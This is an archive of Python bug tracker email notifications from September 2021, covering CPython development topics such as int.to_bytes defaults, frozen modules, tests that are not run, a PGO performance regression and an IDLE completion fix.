In-Reply-To: <1544641617.77.0.788709270274.issue35474@psf.upfronthosting.co.za>
Message-ID: <1631553873.32.0.692351265903.issue35474@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 06c26f4d2909eae196ac81c9ed9b41e747e42685 by Miss Islington (bot) in branch '3.10':
bpo-35474: Fix mimetypes.guess_all_extensions() potentially mutating list (GH-28286) (GH-28289)
https://github.com/python/cpython/commit/06c26f4d2909eae196ac81c9ed9b41e747e42685


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 13:25:10 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Mon, 13 Sep 2021 17:25:10 +0000
Subject: [issue35474] mimetypes.guess_all_extensions potentially mutates list
In-Reply-To: <1544641617.77.0.788709270274.issue35474@psf.upfronthosting.co.za>
Message-ID: <1631553910.39.0.567648080392.issue35474@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Thanks, Serhiy! ? ? ?

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 13:30:19 2021
From: report at bugs.python.org (Matthew Barnett)
Date: Mon, 13 Sep 2021 17:30:19 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631554219.06.0.847255761234.issue45155@roundup.psfhosted.org>


Matthew Barnett  added the comment:

I'd probably say "In the face of ambiguity, refuse the temptation to guess".

As there's disagreement about the 'correct' default, make it None and require either "big" or "little" if length > 1 (the default).

----------
nosy: +mrabarnett

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 13:37:51 2021
From: report at bugs.python.org (Antoine Pitrou)
Date: Mon, 13 Sep 2021 17:37:51 +0000
Subject: [issue38222] pathlib Path objects should support __format__
In-Reply-To: <1568872865.53.0.090540874839.issue38222@roundup.psfhosted.org>
Message-ID: <1631554671.12.0.876953352413.issue38222@roundup.psfhosted.org>


Antoine Pitrou  added the comment:

I would be in favour of adding Path.__format__, even though I'm not terribly convinced by the use case presented.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 15:42:26 2021
From: report at bugs.python.org (Andreas H.)
Date: Mon, 13 Sep 2021 19:42:26 +0000
Subject: [issue45184] Add `pop` function to remove context manager from
 (Async)ExitStack
In-Reply-To: <1631544002.04.0.855227455654.issue45184@roundup.psfhosted.org>
Message-ID: <1631562146.07.0.400667555203.issue45184@roundup.psfhosted.org>


Andreas H.  added the comment:

I see your point. But even with `pop` or `remove` it is still a stack or stack-like. In the normal case the context managers are still released in reverse order as they were added. Order cannot be changed arbitrarily.

There is just the additional function of removing a single context manager prematurely(e.g. for graceful error recovery and such). 

I would perhaps say that a stack is the "wrong" solution to the problem of "programmatically combining context managers" [this is from the official documentaion] in the first place. I write wrong in quotes because it is of course not really wrong, as one wants the reverse exit order. But to adequately address the dynamic case one needs in my opinion the ability to prematurely remove context managers. Otherwise the use is limited.

Reimplemeting the desired functionality with dicts or lists does not seem appealing to me as the code will be 90% the same to ExitStack. It will then also make ExitStack obsolete. So why not integrate it there?

The unsymmetry of being able to add context managers but not being able to remove them also seems odd to me.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:14:35 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 20:14:35 +0000
Subject: [issue45185] test.test_ssl.TestEnumerations is not run
Message-ID: <1631564075.33.0.576511422146.issue45185@roundup.psfhosted.org>


New submission from Serhiy Storchaka :

test.test_ssl.TestEnumerations is not run when run ssl tests. If add it to the list of test classes it fails:

======================================================================
ERROR: test_options (test.test_ssl.TestEnumerations)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/serhiy/py/cpython/Lib/test/test_ssl.py", line 4981, in test_options
    enum._test_simple_enum(CheckedOptions, ssl.Options)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/serhiy/py/cpython/Lib/enum.py", line 1803, in _test_simple_enum
    raise TypeError('enum mismatch:\n   %s' % '\n   '.join(failed))
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: enum mismatch:
   '_use_args_':
         checked -> False
         simple  -> True
   '__format__':  checked ->  simple -> 
   '__getnewargs__':  checked -> None                simple -> 

======================================================================
ERROR: test_sslerrornumber (test.test_ssl.TestEnumerations)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/serhiy/py/cpython/Lib/test/test_ssl.py", line 4998, in test_sslerrornumber
    enum._test_simple_enum(Checked_SSLMethod, ssl._SSLMethod)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/serhiy/py/cpython/Lib/enum.py", line 1803, in _test_simple_enum
    raise TypeError('enum mismatch:\n   %s' % '\n   '.join(failed))
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: enum mismatch:
   extra key:   'PROTOCOL_SSLv23'

======================================================================
ERROR: test_sslmethod (test.test_ssl.TestEnumerations)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/serhiy/py/cpython/Lib/test/test_ssl.py", line 4973, in test_sslmethod
    enum._test_simple_enum(Checked_SSLMethod, ssl._SSLMethod)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/serhiy/py/cpython/Lib/enum.py", line 1803, in _test_simple_enum
    raise TypeError('enum mismatch:\n   %s' % '\n   '.join(failed))
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: enum mismatch:
   extra key:   'PROTOCOL_SSLv23'

======================================================================
ERROR: test_verifyflags (test.test_ssl.TestEnumerations)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/serhiy/py/cpython/Lib/test/test_ssl.py", line 5002, in test_verifyflags
    enum.FlagEnum, 'VerifyFlags', 'ssl',
    ^^^^^^^^^^^^^
AttributeError: module 'enum' has no attribute 'FlagEnum'

----------------------------------------------------------------------

----------
components: Tests
messages: 401723
nosy: christian.heimes, serhiy.storchaka
priority: normal
severity: normal
status: open
title: test.test_ssl.TestEnumerations is not run
type: behavior
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:22:37 2021
From: report at bugs.python.org (Ethan Furman)
Date: Mon, 13 Sep 2021 20:22:37 +0000
Subject: [issue45185] test.test_ssl.TestEnumerations is not run
In-Reply-To: <1631564075.33.0.576511422146.issue45185@roundup.psfhosted.org>
Message-ID: <1631564557.88.0.306028393038.issue45185@roundup.psfhosted.org>


Change by Ethan Furman :


----------
nosy: +ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:34:10 2021
From: report at bugs.python.org (Eric Snow)
Date: Mon, 13 Sep 2021 20:34:10 +0000
Subject: [issue45186] Marshal output isn't completely deterministic.
Message-ID: <1631565250.25.0.751940112521.issue45186@roundup.psfhosted.org>


New submission from Eric Snow :

(See: https://github.com/python/cpython/pull/28107#issuecomment-915627148)

The output from marshal (e.g. PyMarshal_WriteObjectToString(), marshal.dump()) may be different depending on if it is a debug or non-debug build.  I found this while working on freezing stdlib modules.

----------
components: Interpreter Core
messages: 401724
nosy: eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: Marshal output isn't completely deterministic.
type: behavior
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:34:45 2021
From: report at bugs.python.org (Eric Snow)
Date: Mon, 13 Sep 2021 20:34:45 +0000
Subject: [issue45186] Marshal output isn't completely deterministic.
In-Reply-To: <1631565250.25.0.751940112521.issue45186@roundup.psfhosted.org>
Message-ID: <1631565285.94.0.387696185859.issue45186@roundup.psfhosted.org>


Eric Snow  added the comment:

FYI, I came up with a fix (for frozen modules, at least) in  https://github.com/python/cpython/pull/28107.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:34:45 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 20:34:45 +0000
Subject: [issue45187] Some tests in test_socket are not run
Message-ID: <1631565285.06.0.0779555231158.issue45187@roundup.psfhosted.org>


New submission from Serhiy Storchaka :

Test classes ISOTPTest, J1939Test, BasicUDPLITETest, UDPLITETimeoutTest in test_socket are not included in the list of test classes and are not run by regrtest.

----------
components: Tests
messages: 401725
nosy: serhiy.storchaka
priority: normal
severity: normal
status: open
title: Some tests in test_socket are not run
type: behavior
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:36:49 2021
From: report at bugs.python.org (Eric Snow)
Date: Mon, 13 Sep 2021 20:36:49 +0000
Subject: [issue45186] Marshal output isn't completely deterministic.
In-Reply-To: <1631565250.25.0.751940112521.issue45186@roundup.psfhosted.org>
Message-ID: <1631565409.56.0.0254924678187.issue45186@roundup.psfhosted.org>


Eric Snow  added the comment:

One consequence of this is that frozen module .h files can be different for debug vs. non-debug, which causes CI (and Windows builds) to fail.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:38:06 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 13 Sep 2021 20:38:06 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631565486.98.0.886822145255.issue45155@roundup.psfhosted.org>


STINNER Victor  added the comment:

>>> (65).to_bytes()
b'A'

It seems like your proposal is mostly guided by: convert an int to a byte (bytes string of length 1). IMO this case is special enough to justify the usage of a different function.

What if people expect int.to_bytes() always return a single byte, but then get two bytes by mistake?

ch = 256
byte = ch.to_bytes()
assert len(byte) == 2  # oops

A function dedicated to create a single byte is expected to raise a ValueError for values outside the range [0; 255]. Like:

>>> struct.pack('B', 255)
b'\xff'
>>> struct.pack('B', 256)
struct.error: ubyte format requires 0 <= number <= 255

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:38:51 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 20:38:51 +0000
Subject: [issue45187] Some tests in test_socket are not run
In-Reply-To: <1631565285.06.0.0779555231158.issue45187@roundup.psfhosted.org>
Message-ID: <1631565531.33.0.18592101364.issue45187@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
keywords: +patch
pull_requests: +26727
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28317

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:39:14 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 13 Sep 2021 20:39:14 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631565554.02.0.144003937467.issue45155@roundup.psfhosted.org>


STINNER Victor  added the comment:

> In the PEP 467 discussion, I proposed (...)

Since this PEP is controversial, and this issue seems to be controversial as well, maybe this idea should be part of the PEP.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:39:37 2021
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Mon, 13 Sep 2021 20:39:37 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631565577.29.0.318194496759.issue45155@roundup.psfhosted.org>


Vedran ?a?i?  added the comment:

The poll is invalid, since the option that most people want is deliberately not offered.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:44:06 2021
From: report at bugs.python.org (Eric Snow)
Date: Mon, 13 Sep 2021 20:44:06 +0000
Subject: [issue45188] De-couple the Windows builds from freezing modules.
Message-ID: <1631565846.06.0.121053368867.issue45188@roundup.psfhosted.org>


New submission from Eric Snow :

Currently for Windows builds, generating the frozen modules depends on first building python.exe.  One consequence of this is that we must keep all frozen module .h files in the repo (which we'd like to avoid for various reasons).

We should be able to freeze modules before building python.exe, like we already do via our Makefile.  From what I understand, this will require that a subset of the runtime be separately buildable so we can use it in _freeze_module.c and use that before actually building python.exe.

@Steve, please correct any details I got wrong here. :)

----------
components: Build
messages: 401731
nosy: eric.snow, steve.dower
priority: normal
severity: normal
stage: needs patch
status: open
title: De-couple the Windows builds from freezing modules.
type: behavior
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:46:12 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 20:46:12 +0000
Subject: [issue45187] Some tests in test_socket are not run
In-Reply-To: <1631565285.06.0.0779555231158.issue45187@roundup.psfhosted.org>
Message-ID: <1631565972.9.0.6695259024.issue45187@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

PR 28317 makes test classes in test_socket be autocollected instead of explicitly enumerated. This will save as from similar errors in future.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:48:21 2021
From: report at bugs.python.org (Eric Snow)
Date: Mon, 13 Sep 2021 20:48:21 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org>
Message-ID: <1631566101.53.0.0223426480263.issue45020@roundup.psfhosted.org>


Change by Eric Snow :


----------
dependencies: +De-couple the Windows builds from freezing modules., Marshal output isn't completely deterministic.

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:53:52 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 13 Sep 2021 20:53:52 +0000
Subject: =?utf-8?q?=5Bissue45157=5D_DTrace_on_RHEL7=2C_generated_Include/pydtrace?=
 =?utf-8?q?=5Fprobes=2Eh_fails_to_build=3A_error=3A_impossible_constraint_?=
 =?utf-8?b?aW4g4oCYYXNt4oCZ?=
In-Reply-To: <1631227027.9.0.449949319255.issue45157@roundup.psfhosted.org>
Message-ID: <1631566432.33.0.93100537801.issue45157@roundup.psfhosted.org>


STINNER Victor  added the comment:

Issue worked around by disabling LTO on RHEL7 buildbots:
https://github.com/python/buildmaster-config/commit/b8e56c0a545b8f5176c6984dd38a4e2630f21306

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:59:19 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 13 Sep 2021 20:59:19 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1631566101.57.0.0746116557328.issue45020@roundup.psfhosted.org>
Message-ID: 


Guido van Rossum  added the comment:

If you reduce the number of modules being frozen you could probably manage
to land this (or most of it) before tackling those other issues.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 16:59:55 2021
From: report at bugs.python.org (Steve Dower)
Date: Mon, 13 Sep 2021 20:59:55 +0000
Subject: [issue45188] De-couple the Windows builds from freezing modules.
In-Reply-To: <1631565846.06.0.121053368867.issue45188@roundup.psfhosted.org>
Message-ID: <1631566795.07.0.580735109835.issue45188@roundup.psfhosted.org>


Steve Dower  added the comment:

Only thing I'd add is that you should just be able to list the required .c files in _freeze_module.vcxproj (formerly known as freeze_importlib.vcxproj) rather than depending on pythoncore.vcxproj.

That will generate twice as many .obj files for those modules (which is fine, just takes a little more time at build), and will force everything to be regenerated if you modify them, but that's an expected part of having part of the interpreter depend upon itself.

----------
components: +Windows
nosy: +paul.moore, tim.golden, zach.ware

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 17:23:03 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 21:23:03 +0000
Subject: [issue45167] deepcopy of GenericAlias with __deepcopy__ method is
 broken
In-Reply-To: <1631293792.65.0.39078575611.issue45167@roundup.psfhosted.org>
Message-ID: <1631568183.87.0.668897826129.issue45167@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

I meant that the current __getattr__ breaks deepcopy(). It can break also other protocols. It already has a list of exceptions, we need to add "__copy__" and "__deepcopy__" in this list. Or maybe exclude all dunder names by default and use a white list?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 17:24:16 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 21:24:16 +0000
Subject: [issue45182] Incorrect use of requires_zlib in test_bdist_rpm
In-Reply-To: <1631519188.27.0.751615077153.issue45182@roundup.psfhosted.org>
Message-ID: <1631568256.67.0.374142683562.issue45182@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 17:26:02 2021
From: report at bugs.python.org (Eric Snow)
Date: Mon, 13 Sep 2021 21:26:02 +0000
Subject: [issue45019] Freezing modules has manual steps but could be automated.
In-Reply-To: <1630004779.62.0.284599538008.issue45019@roundup.psfhosted.org>
Message-ID: <1631568362.8.0.852975428348.issue45019@roundup.psfhosted.org>


Change by Eric Snow :


----------
pull_requests: +26728
pull_request: https://github.com/python/cpython/pull/28319

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 17:50:34 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 13 Sep 2021 21:50:34 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631569834.26.0.067676821468.issue45155@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

Just reread the thread. AFAICT not a single use case was presented for having system byte ordering as the default.  However, multiple respondents have pointed out that a default to system byte ordering is a bug waiting to happen, almost ensuring that some users will encounter unexpected behaviors when crossing platforms.  We've seen issues like that before and should avoid them.

We don't really need a poll.  What is needed is for the system byte ordering proponents to present valid reasons why it would useful and to address the concerns that it is actually harmful.

If the proposal goes through despite the concerns, we should ask folks writing lint tools to flag every use of the default as a potential bug and advise people to never use the default unless they know for sure that it is encoding only a single byte.  Personally, I would never let system byte ordering pass a code review.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 18:18:45 2021
From: report at bugs.python.org (Eric Snow)
Date: Mon, 13 Sep 2021 22:18:45 +0000
Subject: [issue45019] Freezing modules has manual steps but could be automated.
In-Reply-To: <1630004779.62.0.284599538008.issue45019@roundup.psfhosted.org>
Message-ID: <1631571525.25.0.472020239143.issue45019@roundup.psfhosted.org>


Eric Snow  added the comment:


New changeset a2d8c4b81b8e68e2ffe10945f7ca69174c14e52a by Eric Snow in branch 'main':
bpo-45019: Do some cleanup related to frozen modules. (gh-28319)
https://github.com/python/cpython/commit/a2d8c4b81b8e68e2ffe10945f7ca69174c14e52a


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 18:47:59 2021
From: report at bugs.python.org (Eric Snow)
Date: Mon, 13 Sep 2021 22:47:59 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org>
Message-ID: <1631573279.93.0.733078317465.issue45020@roundup.psfhosted.org>


Change by Eric Snow :


----------
pull_requests: +26729
pull_request: https://github.com/python/cpython/pull/28320

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 18:57:57 2021
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 13 Sep 2021 22:57:57 +0000
Subject: [issue42135] [importlib] Deprecate find_module() & find_loader()
 mplementations
In-Reply-To: <1603494695.54.0.8376376438.issue42135@roundup.psfhosted.org>
Message-ID: <1631573877.62.0.459675820336.issue42135@roundup.psfhosted.org>


Brett Cannon  added the comment:


New changeset 9f93018b69d72cb48d3444554261ae3b0ea00c93 by Hugo van Kemenade in branch 'main':
bpo-42135 Correct version slated for importlib.find_loader removal (GH-28312)
https://github.com/python/cpython/commit/9f93018b69d72cb48d3444554261ae3b0ea00c93


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 18:58:14 2021
From: report at bugs.python.org (miss-islington)
Date: Mon, 13 Sep 2021 22:58:14 +0000
Subject: [issue42135] [importlib] Deprecate find_module() & find_loader()
 mplementations
In-Reply-To: <1603494695.54.0.8376376438.issue42135@roundup.psfhosted.org>
Message-ID: <1631573894.2.0.0484554590311.issue42135@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 2.0 -> 3.0
pull_requests: +26730
pull_request: https://github.com/python/cpython/pull/28321

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 19:19:52 2021
From: report at bugs.python.org (Eric Snow)
Date: Mon, 13 Sep 2021 23:19:52 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: 
Message-ID: 


Eric Snow  added the comment:

On Mon, Sep 13, 2021 at 2:59 PM Guido van Rossum  wrote:
> If you reduce the number of modules being frozen you could probably manage
> to land this (or most of it) before tackling those other issues.

Yeah, that's what I'm doing. :)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 19:22:53 2021
From: report at bugs.python.org (Eric Snow)
Date: Mon, 13 Sep 2021 23:22:53 +0000
Subject: [issue45189] Drop the "list_frozen" command from _test_embed.
Message-ID: <1631575373.13.0.588141988765.issue45189@roundup.psfhosted.org>


New submission from Eric Snow :

In Programs/_test_embed.c the "list_frozen" command prints out the name of each frozen module (defined in Python/frozen.c).  The only place this is used is in Tools/scripts/generate_stdlib_module_names.py (in list_frozen()).  That script can be updated to call imp._get_frozen_module_names(), which was added in PR GH-28319 for bpo-45019.  Then _test_embed can go back to being used strictly for tests.

(FWIW, the script could also read from Python/frozen_modules/MANIFEST after running "make regen-frozen".  That file was added in GH-27980).

----------
components: Demos and Tools
messages: 401741
nosy: eric.snow, vstinner
priority: normal
severity: normal
stage: needs patch
status: open
title: Drop the "list_frozen" command from _test_embed.
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 19:33:13 2021
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 13 Sep 2021 23:33:13 +0000
Subject: [issue42135] [importlib] Deprecate find_module() & find_loader()
 mplementations
In-Reply-To: <1603494695.54.0.8376376438.issue42135@roundup.psfhosted.org>
Message-ID: <1631575993.29.0.539715877698.issue42135@roundup.psfhosted.org>


Brett Cannon  added the comment:


New changeset a390bb6d66027517498e75b6b91a91be5f136d28 by Miss Islington (bot) in branch '3.10':
bpo-42135 Correct version slated for importlib.find_loader removal (GH-28312) (GH-28321)
https://github.com/python/cpython/commit/a390bb6d66027517498e75b6b91a91be5f136d28


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 19:37:47 2021
From: report at bugs.python.org (neonene)
Date: Mon, 13 Sep 2021 23:37:47 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows:
 Py_DECREF() not inlined in PGO build
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631576267.96.0.237615972116.issue45116@roundup.psfhosted.org>


neonene  added the comment:

With msvc 16.10.3 and 16.11.2 (latest),
PR25244 told me the amount of code in _PyEval_EvalFrameDefault() is over the limit of PGO.
In the old version of _PyEval_EvalFrameDefault (b98eba5), the same issue can be caused adding any-code anywhere with more than 20 expressions/statements. For example, at the top/middle/end of the function, repeating "if (0) {}" 10times, or "if (0) {19 statements}". As for python3.9.7, more than 800 expressions/statements.

Here is just a workaround for 3.10rc2 on windows.
==================================================
--- Python/ceval.c
+++ Python/ceval.c
@@ -1306,9 +1306 @@
-#define DISPATCH() \
-    { \
-        if (trace_info.cframe.use_tracing OR_DTRACE_LINE OR_LLTRACE) { \
-            goto tracing_dispatch; \
-        } \
-        f->f_lasti = INSTR_OFFSET(); \
-        NEXTOPARG(); \
-        DISPATCH_GOTO(); \
-    }
+#define DISPATCH() goto tracing_dispatch
@@ -1782,4 +1774,9 @@
     tracing_dispatch:
     {
+        if (!(trace_info.cframe.use_tracing OR_DTRACE_LINE OR_LLTRACE)) {
+            f->f_lasti = INSTR_OFFSET();
+            NEXTOPARG();
+            DISPATCH_GOTO();
+        }
         int instr_prev = f->f_lasti;
         f->f_lasti = INSTR_OFFSET();
==================================================

This patch becomes ineffective just adding one expression to DISPATCH macro as below

   #define DISPATCH() {if (1) goto tracing_dispatch;}

And this approach is not sufficient for 3.11 with bigger eval-func.
I don't know a cl/link option to lift such restriction of function size.


3.10rc2 x86 pgo : 1.00
        patched : 1.09x faster (slower  5, faster 48, not significant 5)

3.10rc2 x64 pgo : 1.00         (roughly the same speed as official bin)
        patched : 1.07x faster (slower  5, faster 47, not significant 6)
  patched(/Ob3) : 1.07x faster (slower  7, faster 45, not significant 6)

x64 results are posted.

Fixing inlining rejection also made __forceinline buildable with normal processing time and memory usage.

----------
Added file: https://bugs.python.org/file50280/310rc2_benchmarks.txt

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 19:51:43 2021
From: report at bugs.python.org (Steve Dower)
Date: Mon, 13 Sep 2021 23:51:43 +0000
Subject: [issue45188] De-couple the Windows builds from freezing modules.
In-Reply-To: <1631565846.06.0.121053368867.issue45188@roundup.psfhosted.org>
Message-ID: <1631577103.97.0.0993269185649.issue45188@roundup.psfhosted.org>


Change by Steve Dower :


----------
keywords: +patch
pull_requests: +26731
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/28322

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 20:21:13 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 14 Sep 2021 00:21:13 +0000
Subject: [issue40128] IDLE Show completions pop-up not working on macOS
In-Reply-To: <1585675008.66.0.405710178889.issue40128@roundup.psfhosted.org>
Message-ID: <1631578873.49.0.722655394132.issue40128@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

Pablo (and Ned) 

PR_26672 (and backports) added one line to idlelib/autocomplete_w.py, 206 or 209.
  acw.update_idletasks() # Need for tk8.6.8 on macOS: #40128.
NEWs item included "The added update_idletask call should be harmless and possibly helpful otherwise. "

This is consistent with https://www.tcl.tk/man/tcl8.6/TclCmd/update.html

At the end of the PR, Tal Einat reports
"this broke completions for me with Tcl/Tk 8.6.11 on Ubuntu 20.04.
Apparently also with Tcl/Tk 8.6.10, which is the current default.
Also broken in my latest install of Python 3.9.7 (not built from source)."

Tal, did you verify that #ing the line fixes your issues?  Can you be more specific as to what you see?

I rechecked on my Macbook and the line is definitely needed for 3.9.7 with tk 8.6.8.  It makes no difference for 3.10.0rc2 with 8.6.11.  (So the bug of requiring update_idletasks call to ever see the dropdown box was fixed.)

Assume Tal's report is verified on another machine, we could, before 3.10.0,
1. Remove the line.
2. Disable the line.
3. Make it conditional on macOS and 8.6.8.

It is obviously too late for 3.9.7.

----------
nosy: +lukasz.langa, pablogsal
priority: normal -> release blocker

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 20:23:05 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 14 Sep 2021 00:23:05 +0000
Subject: [issue40128] IDLE Show completions pop-up not working on macOS
In-Reply-To: <1585675008.66.0.405710178889.issue40128@roundup.psfhosted.org>
Message-ID: <1631578985.76.0.484563964006.issue40128@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

https://www.tcl.tk/man/tcl8.6/TclCmd/update.html

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 20:31:01 2021
From: report at bugs.python.org (Matthew Barnett)
Date: Tue, 14 Sep 2021 00:31:01 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631579461.19.0.941375089134.issue45155@roundup.psfhosted.org>


Matthew Barnett  added the comment:

I wonder whether there should be a couple of other endianness values, namely, "native" and "network", for those cases where you want to be explicit about it. If you use "big" it's not clear whether that's because you want network endianness or because the platform is big-endian.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 21:17:53 2021
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 14 Sep 2021 01:17:53 +0000
Subject: [issue45190] unicode 14.0 upgrade
Message-ID: <1631582273.28.0.521036633786.issue45190@roundup.psfhosted.org>


New submission from Benjamin Peterson :

Unicode 14.0 is expected on September 14. We'll need to do the usual table regenerations.

----------
assignee: benjamin.peterson
components: Unicode
messages: 401747
nosy: benjamin.peterson, ezio.melotti, vstinner
priority: normal
severity: normal
status: open
title: unicode 14.0 upgrade

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 00:56:40 2021
From: report at bugs.python.org (nahco314)
Date: Tue, 14 Sep 2021 04:56:40 +0000
Subject: [issue45191] Error.__traceback__.tb_lineno is wrong
Message-ID: <1631595400.46.0.316069984941.issue45191@roundup.psfhosted.org>


New submission from nahco314 :

I think that the emphasis of the errors caused by some of these equivalent expressions is wrong or inconsistent.
